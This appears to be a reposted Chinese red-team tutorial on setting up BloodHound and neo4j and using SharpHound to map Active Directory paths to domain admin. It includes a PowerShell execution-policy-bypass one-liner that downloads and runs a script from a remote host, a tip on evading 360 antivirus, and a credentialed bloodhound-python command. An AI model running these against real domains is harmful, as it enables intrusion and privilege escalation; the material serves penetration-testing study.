BloodHound是一款分析域环境中的关系的工具,以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在红队人员面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。
最近在学习内网横向,横向移动不能仅靠CVE,而是要分析域内关系伪造合法的身份进行域横向移动。在安装及使用的过程中发现一些坑点,网上文章都是长篇大论,我尽量精简着来希望对大家有帮助。
BloodHound&&neo4j安装
Github项目地址(不想用apt可手动下载安装):
https://github.com/BloodHoundAD/BloodHound
建议:在kali虚拟机中使用该软件,2022年kali installer-everything-amd64.iso 映像安装好后,直接就内置了BloodHound及neo4j,当然未安装也可通过apt命令快速安装。
apt search bloodhound # 搜索 非需要
apt install BloodHound # bloodhound需要neo4j apt会一并安装 neo4j
apt install neo4j # 没有自动安装的话再执行
坑点:kali2022.2以上(不包含)版本不支持物理机于虚拟机复制文件、文本等,非常不方便,网上都说安装open-vm-tools亲测无效,另外即使安装了kali2022.2版本也不要自动更新所有软件包,更新全部软件后和物理机的复制功能就失效了,用到什么工具更什么就行了,猜测是因为vm-tools被更新到最新版本后与物理机的复制粘贴功能就失效了。
windows安装
windows可以安装运行 bloodhound 客户端,但是不建议安装 neo4j ,因为neo4j 需要最新版本的java,你JDK8的环境 neo4j 根本跑不起来,那干脆两个软件都在kali运行更加省心。
windows安装很简单,下载解压即可运行,如果想连接kali上的neo4j,neo4j默认仅运行localhost连接,需要在配置文件 neo4j.conf 中54行
dbms.connectors.default_listen_address=0.0.0.0 取消注释。
所以我感觉完全没必要在windows上安装,多此一举。
BloodHound&&neo4j启动
运行 neo4j 并初始化
neo4j console # 前台运行
neo4j start # 后台运行
登录 http://127.0.0.1:7474 端口,初次使用要改密码,默认(账号:密码)为 (neo4j :neo4j),登录成功后改密码。
运行BloodHound
bloodhound # 运行该命令输入账号及新密码登录
至此该工具已安装完成,下一步讲解如何使用该工具。
BloodHound使用
只需要将 BloodHound 的域信息采集工具 SharpHound 上传到目标主机,或通过CS的 execute-assembly (在目标上内存加载执行本地.NET程序)远程执行来采集数据,采集到的数据为一个 zip 压缩包,将其拖放到 BloodHound的窗口中即可导入数据。
坑点:SharpHound 有三个不同版本分别对应不同的 .NET 版本,如果你搞不清楚这个那么结果就是你上传的程序跟目标系统不兼容,导致不能运行。
.Net 4.6.2(兼容 win10、win2016、win2019)
https://github.com/BloodHoundAD/SharpHound
.Net 4.5(兼容 win10、win2012、win2016、win2019)
https://github.com/BloodHoundAD/SharpHound3
.Net 3.5(兼容 win2008)
https://github.com/BloodHoundAD/SharpHound2
windows中查看.net版本的方式有很多,这里我推荐输入命令查看.net版本。
reg query "HKLMSOFTWAREMicrosoftNet Framework SetupNDP" /s
.net4.x以上
reg query "HKLMSOFTWAREMicrosoftNet Framework SetupNDPv4" /s
SharpHound采集数据
下载好对于的版本的工具后运行即可,有 exe 和 ps1 两种方式,上传到目标机运行还是在本地加载运行取决于你获取权限的方式,windows def 不查杀,但是360杀,还是建议powershell远程运行。
exe运行
SharpHound.exe -c all
将生成的zip复制到kali中拖拽到 bloodhound 的页面上即可。
powershell脚本运行
本地运行
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
# 远程加载
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.webClient).DownloadString('http:\xxxxxSharpHound.ps1');Invoke-BloodHound -c all"
在能够获取目标凭据(域用户账号密码)的情况下还可以使用 bloodhound-python 去采集数据。
Github地址:https://github.com/fox-it/BloodHound.py
使用示例:
bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30
运行成功会得到4个文件,computers.json、domains.json、groups.json、users.json,把生成的文件拖进Bloodhound即可。
导入BloodHound分析
将文件拖放进来加载完成后,点击Analysis就可以开始分析域信息:
经常关注的点:
- Find all Domain Admins 查找所有域管理员
- Find Shortest Paths to Domain Admins 查找域管理员的最短路径
- Find Principals with DCSync Rights查找具有DCSync权限的主体
- Users with Foreign Domain Group Membership 具有外域组成员身份的用户
- Groups with Foreign Domain Group Membership 具有外域组成员身份的组
- Map Domain Trusts 域信任映射图
- Shortest Paths to Unconstrained Delegation
Systems 不受约束的委派系统的最短路径
- Shortest Paths from Kerberoastable Users 来自Kerberoastable用户的最短路径
- Shortest Paths to Domain Admins from Kerberoastable Users 可通过Kerberoastable用户访问域管理员的最短路径
- Shortest Path from Owned Principals 已拥有权限最短路径
- Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径
- Shortest Paths to High Value Targets 高价值目标的最短路径
多点点看看,有很多实用功能帮助我们分析域环境,有多少域用户,多少主机,委派信息等。
高价值目标的最短路径
本文到此结束,希望能帮助到你。
长风实验室发布、转载的文章中所涉及的技术、思路和工具,仅供以网络安全为目的的学习交流使用,不得用作它途。部分文章来源于网络,如有侵权请联系删除。
END
推荐
阅读
点赞在看
扫码关注|更多好玩
长风实验室 ·
原文始发于微信公众号(长风实验室):域分析工具 Bloodhound 排坑记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论